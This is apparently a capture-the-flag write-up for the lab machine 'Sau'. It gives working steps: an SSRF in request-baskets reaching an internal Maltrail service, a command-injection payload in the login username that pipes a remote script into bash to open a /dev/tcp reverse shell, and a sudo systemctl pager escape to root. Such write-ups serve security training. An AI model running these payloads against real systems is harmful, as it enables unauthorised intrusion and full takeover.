Sau

Table of Contents

Introduction


The Sau machine required the enumeration of the target to discover an HTTP service running a requests handler on port 5555. Through this enumeration process, a vulnerability was identified that allows the attacker to proxy their requests and gain access to an internal service. Upon further investigation of this service, it was determined that it harbors a command injection vulnerability, providing the attacker with the capability to obtain a shell within the target machine, specifically as the user puma. Subsequent enumeration of the commands available to this user revealed the ability to run systemctl as root without requiring credentials, thereby enabling privilege escalation and allowing the attacker to acquire a root shell.

Recon

nmap (TCP all ports)

nmap finds two open TCP ports, SSH (22), an HTTP service (80), and two unkown services (8338/55555):

$ nmap -p- 10.129.26.176
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-09 10:30 WEST
Nmap scan report for 10.129.26.176
Host is up (0.051s latency).
Not shown: 65531 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 28.08 seconds
$

nmap (found TCP ports exploration)

$ nmap -sC -sV -p 22,80,8338,55555 10.129.26.176
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-09 10:33 WEST
Nmap scan report for 10.129.26.176
Host is up (0.048s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 09 Jul 2023 09:33:45 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sun, 09 Jul 2023 09:33:18 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sun, 09 Jul 2023 09:33:19 GMT
|_    Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.74 seconds
$

HTTP - TCP 55555

By checking what’s running on port 55555 we can see that a http service is running:

The service in question is the request-baskets project, this project enables users to create a HTTP listener for later requests inspection.


Shell as puma

SSRF

The request-baskets service was mentioned to be on the version 1.2.1, by searching a bit we can see that this version is vulnerable to SSRF, on this github advisory.

With this in mind we can craft a request so that a listener on our end handles the response, this way we can know if the vulnerability is present. To do this we make the following request:

POST /baskets/d HTTP/1.1
Host: 10.129.26.176:55555
Content-Length: 119

{"forward_url":"http://<IP>:9001","proxy_response":false,"insecure_tls":false,"expand_path":true,"capacity":250}

If we now listen on our end, we can see that indeed the vulnerability is present:

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.26.176 37004
GET / HTTP/1.1
Host: 10.10.15.92:9001
User-Agent: curl/7.81.0
Accept: */*
X-Do-Not-Forward: 1
Accept-Encoding: gzip

Filtered port

Previously we saw on the nmap scan that the port 80 was filtered but that something can be running on it, to try to check the presence of a HTTP service running on it we can try to craft a request so that the SSRF vulnerability passes our request to the internal service.

After doing this we are presented with the following Maltrail service:

Command Injection

The version of the Maltrail service is 0.53, by searching we can find that there is a Command Injection vulnerability present, this can be seen here.

Requests proxy

We can now configure the requests-basket service to proxy our requests:

We can see that we can interact with the login endpoint:

$ curl http://10.129.26.53:55555/z1ez3a8
Login failed

Exploit

To exploit this vulnerability we firstly will make a simple reverse shell:

$ cat shell.sh 
bash -i >& /dev/tcp/<OUR_IP>/9001 0>&1
$

After having having the core payload, we will craft a request that queries that payload from a local HTTP service we own, and pipes its contents to BASH, this way we are sure that no special syntax interferes.

POST /z1ez3a8 HTTP/1.1
Host: 10.129.26.53:55555
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

username=;`curl <IP>/shell.sh | bash `'

After making the request, we can see that our local service is queried:

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.26.53 - - [09/Jul/2023 12:18:00] "GET /shell.sh HTTP/1.1" 200 -

Finally if everything goes well we have a shell onto the system as puma:

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.26.53 38968
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
puma@sau:/opt/maltrail$ 

Shell as root

By enumerating the commands that the user puma is able to execute within the machine with root privileges we are able to find the following:

puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$ 

We can see that we are able to run systemctl as root without password, by following this guide from GTFOBins we can get a shell as root as follows:

puma@sau:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
puma@sau:~$ sudo  /usr/bin/systemctl status trail.service
sudo  /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!sh
!sshh!sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
#